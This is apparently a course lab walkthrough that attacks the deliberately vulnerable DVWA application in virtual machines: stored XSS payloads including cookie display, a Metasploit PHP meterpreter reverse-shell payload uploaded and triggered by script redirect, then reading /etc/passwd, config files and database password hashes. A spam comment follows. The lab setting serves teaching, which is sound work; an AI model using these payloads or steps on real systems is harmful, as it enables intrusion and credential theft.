{ Cross Site Scripting (XSS) }
									| 				Section 0. Background  				Information | 			
- What is Damn Vulnerable Web App (DVWA)?
- Damn Vulnerable Web App (DVWA) is a PHP/MySQL  	web application that is damn vulnerable. 
 - Its main goals are to be an aid for security  	professionals to test their skills and tools in a legal environment, help  	web developers better understand the processes of securing web applications  	and aid teachers/students to teach/learn web application security in a class  	room environment. 
 
 - Pre-Requisite Labs
 
- 	Lab  	Notes
- In this lab we will do the following:
- We will test a basic cross site  			scripting (XSS) attack
 - We will test an iframe cross site  			scripting (XSS) attack
 - We will test a cookie cross site  			scripting (XSS) attack
 - We will create a php/meterpreter/reverse_tcp  			payload
 - We will start the php/meterpreter/reverse_tcp  			listener
 - We will upload the PHP payload to the  			DVWA Upload screen
 - We will test a PHP Payload cross site  			scripting (XSS) attack
 
 
 
- Legal Disclaimer
 Bài lab chỉ dùng trong môi trường học tập
 
							| 				Section 1.  				Configure Fedora14 Virtual Machine Settings | 			
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight fedora14
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter
 - Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Click on the OK Button.
 
 
 									| 				Section 2.  				Login to Fedora14 | 			
- Start Fedora14 VM Instance
- Instructions:
- Start Up VMWare Player
 - Select Fedora14
 - Play virtual machine
 
 
 - Login to Fedora14
- Instructions:
- Login: student
 - Password: <whatever you set  			it to>.
 
 - 		

 
 
 									| 				Section 3.  				Open Console Terminal and Retrieve IP Address | 			
- Start a Terminal Console
- Instructions:
- Applications --> Terminal
 
 
 - Switch user to root
- Instructions:
- su - root
 - <Whatever you set the root password to>
 
 - 		

 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  		192.168.1.106.
 - Please record your IP address.
 
 
 
 									| 				Section 4.  				Temporarily Disable SELINUX and Firewall | 			
- Start a Terminal Console
- Instructions:
- sestatus
 - If SELinux status: is set to 			disabled OR if 			Current mode: is set to permissive, then skip the  			next steps, and Continue to the Next Section.
 - If SELinux status: is set to 			enabled AND if 			Current mode: is set to enforcing, then Continue  			the next steps.
 
 - Notes:
- In my case, I need to temporarily put  			selinux in permissive mode to demonstrate basic attacks on DVWA.
 
 
 - Place selinux in permissive mode
- Instructions:
- echo 0 > /selinux/enforce
- Placing a "0" in the enforce file,  				puts selinux in permissive mode.
 
 - sestatus
- Notice that "Current mode:" changed  				to permissive.
 
 
 - 		

 
 - Disable Firewall
- Instructions:
- service iptables save
- This is not really necessary,  				unless you have made recent changes to the firewall.
 
 - service iptables stop
- This command disables the firewall.
 
 
 
 
 			| 		Section 5. Fix Stored Cross Site Scripting (XSS) Comment Box  | 	
- Fix Character Limit
- Instructions:
- cd /var/www/html/dvwa/vulnerabilities/xss_s/
 - vi index.php
 - Continue to Next Step
 
 - Known Issue:
- By default, the comment box in the XSS  			stored GUI will only  			allow for 50 characters.  So we are going to change the  			character limit to 250  			characters to demonstrate the following attacks.
 
 
 - Search for mtxMessage
- Instructions:
- Press the "/" key
- This will put in you search mode in  				the bottom left part of the screen.
 
 - Type "mtxMessage" and hit <Enter>
 
 
 - Replace number
- Instructions:
- Your cursor should now be on the "m"  			on the word mtxMessage.
 - Scroll over to the 5 after maxlength.
 - Press "i" and type "2"
- This will place the number 2 in  				front of the number 50.
 
 - Press the <Esc> key
 - Type ":wq!"
 
 
 
 			| 		Section 6. Configure BackTrack Virtual Machine Settings | 	
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare -->  			VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight BackTrack5R1
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter	
- Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Do not Click on the OK Button.
 
 
 
 			| 		Section 7. Login to BackTrack | 	
- Start BackTrack VM Instance
- Instructions:
- Start Up VMWare Player
 - Select BackTrack5R1
 - Play virtual machine
 
 
 - Login to BackTrack
- Instructions:
- Login: root
 - Password: toor or <whatever you changed  			it to>.
 
 
 - Bring up the GNOME
- Instructions:
- Type startx
 
 
 
 			| 		Section 8. Open Console Terminal and Retrieve IP Address | 	
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  			192.168.1.105.
 - Please record your IP address.
 
 
 
- Start Firefox
- Instructions:
- Click on Firefox
 
 
 - Login to DVWA
- Instructions:
- Start up Firefox on BackTrack
 - Place http://192.168.1.106/dvwa/login.php  			in the address bar.
- Replace 				192.168.1.106 with  				Fedora's IP address obtained in (Section 3, Step 3).
 
 - Login: admin
 - Password: password
 - Click on Login
 
 
 
 			| 		Section 10. Set Security Level | 	
- Set DVWA Security Level
- Instructions:
- Click on DVWA Security, in the left  			hand menu.
 - Select "low"
 - Click Submit
 
 
 
 									| 				Section 11. XSS Stored Basic Exploit Test  | 			
- XSS Stored Menu
- Instructions:
- Select "XSS Stored" from the left  			navigation menu.
 
 - 		

 
 - Basic XSS Test
- Instructions:
- Name: Test 1
 - Message: <script>alert("This is a XSS  			Exploit Test")</script>
 - Click Sign Guestbookt
 
 
 - View Test 1 Results
- Notes:
- Notice that the JavaScript alert we  			just created is now displayed.
 - Every Time a user comes to this forum,  			this XSS exploit will be displayed.
 - This exploit can be easily modified to  			capture cookie/session information for future Man-in-Middle attacks.
 
 - Instructions:
- Click OK
 
 
 
 									| 				Section 12. XSS Stored  				IFRAME Exploit Test  | 			
- Reset Database
- Instructions:
- Select "Setup" from the left menu  			navigation.
 - Click on the Create / Reset Database  			Button.
 
 - Notes:
- We need to reset the database otherwise the  		each XSS exploit will appear for each example.
 
 
 - XSS Stored Menu
- Instructions:
- Select "XSS Stored" from the left  			navigation menu.
 
 - 		

 
 - XSS Test 2
- Instructions:
- Name: Test 2
 - Message: <iframe src="http://www.cnn.com"></iframe>
 - Click Sign Guestbook
 
 
 - View Test 2 Results
- Instructions:
- Notice that CNN is displayed under "Test  			2's" Message.
- This is a powerful exploit because  				a user could use SET to create Malicious cloned website and  				place in here.
- e.g., 					Social Engineering Toolkit (SET): Lesson 3: Create Malicious  					Weblink, Install Virus, Capture Forensic Images
 
 
 
 
 
 									| 				Section 13. XSS Stored  				COOKIE Exploit Test  | 			
- Reset Database
- Instructions:
- Select "Setup" from the left menu  			navigation.
 - Click on the Create / Reset Database  			Button.
 
 - Notes:
- We need to reset the database otherwise the  		each XSS exploit will appear for each example.
 
 
 - XSS Stored Menu
- Instructions:
- Select "XSS Stored" from the left  			navigation menu.
 
 - 		

 
 - XSS Test 3
- Instructions:
- Name: Test 3
 - Message: <script>alert(document.cookie)</script>
 - Click Sign Guestbook
 
 
 - View Cookie
- Notes:
- Below is the cookie/session that the  			webserver establishes with the current browser session.
 - An attacker could easily modify this  			XSS script to send the cookie to a remote location instead of  			displaying it.
 - Image if this was a bank website. Every  			time a user logs in their cookie information could be sent to a  			remote location.
 
 - Instructions:
- Click OK.
 
 
 
 									| 				Section 14. Build PHP  				msfpayload | 			
- Open a console terminal			
- Instructions:				
- Click on the console terminal  					
 
 
 - Create msfpayload			
- Instructions:				
- mkdir -p /root/backdoor  					
 - cd /root/backdoor  					
 - msfpayload php/meterpreter/reverse_tcp  					LHOST=192.168.1.105  					LPORT=4444 R > FORUM_BUG.php					
- Obtain the  						BackTrack IP Address from (Section 8, Step 2).  						
 
 - ls -l FORUM_BUG.php  					
 
 
 
 - Edit FORUM_BUG.php			
- Instructions:				
- vi FORUM_BUG.php 
 
 
 - Remove the "#" character			
- Instructions:				
- Press "x" to delete the "#"  					character on the first line.  					
 - Press <Esc>  					
 - Type ":wq!" 
 
 
 
   									| 				Section 15. Upload PHP Payload | 			
- Upload Menu			
- Instructions:				
- Select "Upload" from the left  					navigation menu.  					
 - Click Browse 
 
 - 				
  				 
 - Navigate to FORUM_BUG.php			
- Instructions:				
- Click on root  					
 - Click on FORUM_BUG.php  					
 - Select Open 
 
 - 				
  				 
 - Upload FORUM_BUG.php			
- Instructions:				
- Click the Upload button  					
 
 
 
							| 				Section 16. Start PHP Payload Listener | 			
- Open a console terminal			
- Instructions:				
- Click on the console terminal  					
 
 - 				
  				 
 - Start msfconsole			
 - Start PHP Listener			
- Instructions:				
- use exploit/multi/handler  					
 - set PAYLOAD php/meterpreter/reverse_tcp  					
 - set LHOST 										192.168.1.105					
- Obtain the BackTrack IP  						Address from (Section 8, Step 2). 
 
 - set LPORT 4444  					
 - exploit  					
 - 										Continue to Next Section 
 
 
 
 									| 				Section 17. XSS Stored  				window.location Exploit Test  | 			
- Reset Database
- Instructions:
- Select "Setup" from the left menu  			navigation.
 - Click on the Create / Reset Database  			Button.
 
 - Notes:
- We need to reset the database otherwise the  		each XSS exploit will appear for each example.
 
 
 - XSS Stored Menu
- Instructions:
- Select "XSS Stored" from the left  			navigation menu.
 
 - 		

 
 - XSS Test 4
- Instructions:
- Name: Test 4
 - Message: 			
- <script>window.location="http://192.168.1.106/dvwa/hackable/uploads/FORUM_BUG.php" </script>
- Replace 192.168.1.106  					with the IP Address obtain from Fedora 14 in (Section 3,  					Step 3).
 
 
 - Click Sign Guestbook
 - Click OK when the Test 1 Message is  			displayed
 - 			Continue  			To Next Section
 
 
 - Viewing XSS Test 3 Results
- Instructions:
- Notice how the "Connecting..." appears  			to be in an infinite loop.
 - This will continue for the duration of  			the PHP/MSF PAYLOAD exploit.
 - 			Continue  			To Next Section
 
 
 
 									| 				Section 18. View  				Metasploit Session | 			
- View Metasploit Session
- Instructions:
- Notice that BackTrack now has a  			connection into the Fedora 14 Webserver.
 - Continue to Next Step.
 
 
 - Establishing a Shell
- Instructions:
- shell
- Establishes a "sh" shell.
 
 - tail /etc/passwd
- This produces a potential prospect  				list for a ssh brute force attack.
 
 
 
 - Find Configuration Files
- Instructions:
- whoami
- Displays the name of the user.
 
 - grep apache /etc/passwd
- The goal of this command is  				obtaining the home directory for the apache username.
 
 - find /var/www/* -print | grep config
- Here I am wanting to find all the  				configuration files in the /var/www directory.
 
 
 
 - Exploit the Configuration File
- Instructions:
- grep "db_" /var/www/html/dvwa/config/config.inc.php
- This produces the database name,  				username, and password information to log into the mysql  				database.
 
 - echo "use dvwa; show tables;" |  			mysql -uroot -pdvwaPASSWORD
- This command produces a table list  				of the dvwa database.
 
 - echo "use dvwa; desc users;" | mysql  			-uroot -pdvwaPASSWORD
- This command describes the columns  				of the users table in the dvwa datase.
 
 - echo "select user,password  			from dvwa.users;" | mysql -uroot -pdvwaPASSWORD
- This command displays the user and  				password information for each user in the dvwa.users table.
 
 
 
 - Exploit the Configuration File
- Instructions:
- echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
- Place the html <pre> tag in the  				xss.html file.
 - The <pre> is used as a  				pre-formatter.
 
 - echo "select user,password from  			dvwa.users;" | mysql -uroot -pdvwaPASSWORD >> /var/www/html/dvwa/hackable/uploads/xss.html
- Place user and password for the  				dvwa.users table in the xss.html file.
 
 - echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
- Place the close html </pre> tag in  				the xss.html file.
 
 - echo "<br>Your  			Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
- Replace the string "Your Name" with  				your actual name.
 
 - date >> /var/www/html/dvwa/hackable/uploads/xss.html
 
 
 
 		- Proof of Lab
- 		Proof of Lab Instructions:
- On BackTrack, place the below URI in  			Firefox
- http://192.168.1.106/dvwa/hackable/uploads/xss.html
- Replace the above IP address  					with the IP Address obtained in (Section 3, Step 3).
 
 
 - Do a <PrtScn>
 - Paste into a word document
 - Email to AnToanThongTin.Edu.VN@Gmail.Com
 
 - 		

 
 
 
1 nhận xét:
Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download Now
>>>>> Download Full
Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download LINK
>>>>> Download Now
Hướng Dẫn Thực Hành - Cross Site Scripting (Xss) : Lesson 9 ~ Cao Học Ptit >>>>> Download Full
>>>>> Download LINK Cn
Đăng nhận xét